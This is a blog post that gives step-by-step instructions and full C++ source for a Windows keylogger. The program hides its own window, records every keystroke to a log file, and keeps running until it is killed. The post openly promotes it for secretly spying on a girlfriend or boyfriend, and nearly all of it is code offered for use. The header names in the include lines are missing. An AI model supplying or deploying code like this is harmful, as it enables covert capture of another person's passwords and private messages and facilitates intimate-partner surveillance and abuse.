CREATE A INFLUENTIAL KEYLOGGER YOURSELF IN C/C++


Stop paying huge amounts to Sniperspy or Winspy to spy on your Girlfriend/ Boyfriend. Now you can make your own Keylogger easily with C++. Just follow the below mentioned steps:

First, you need a compiler. I recommend Dev C++ for this. (You can also use Borland's Turbo C++, Visual C++ or anything)
Now, Create a new project (File>New) and paste the following code in it.


#include
using namespace std;
#include
#include

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
} 
And compile it to make an executable .exe file.

Explanation of Code

Here we use a Void Function named Stealth and another integer function called save in additional to int main() function (main function will execute first in all C++ apps). The stealth function is used to make the application stealth. It runs in background and invisible.
In main function, it calls Stealth function first to make the app stealth
under the if..statement, It tells the app to make a file called LOG.txt. It will be in the folder where your kelogger exists.
Then the last part- PAUSE is telling the OS to not to exit the software, stay paused
 
Now the save function,
It is so simple so that I think even a beginner can understand it by reading. It just compares the pressed key with various keys like Q, W, E ,....,shift, space etc. and writes it in the LOG.txt file.
 
Just execute the .exe file after compiling. You could see a blinking. Now it started working. Type some keys and check the LOG.txt file. VOILA!!! the pressed keys are recorded there. It keeps recording. To stop it you need to close it on the Task manager or shut down your system.

Kindly Bookmark this Post using your favorite Bookmarking service:
Technorati Digg This Stumble Stumble Facebook Twitter

0 comments:

Click Here To add Comment

PAGE RANK

Page Rank
 

| USEFUL TRICKS- InVaDeR © 2012. All Rights Reserved | Template Style by Abhidinvader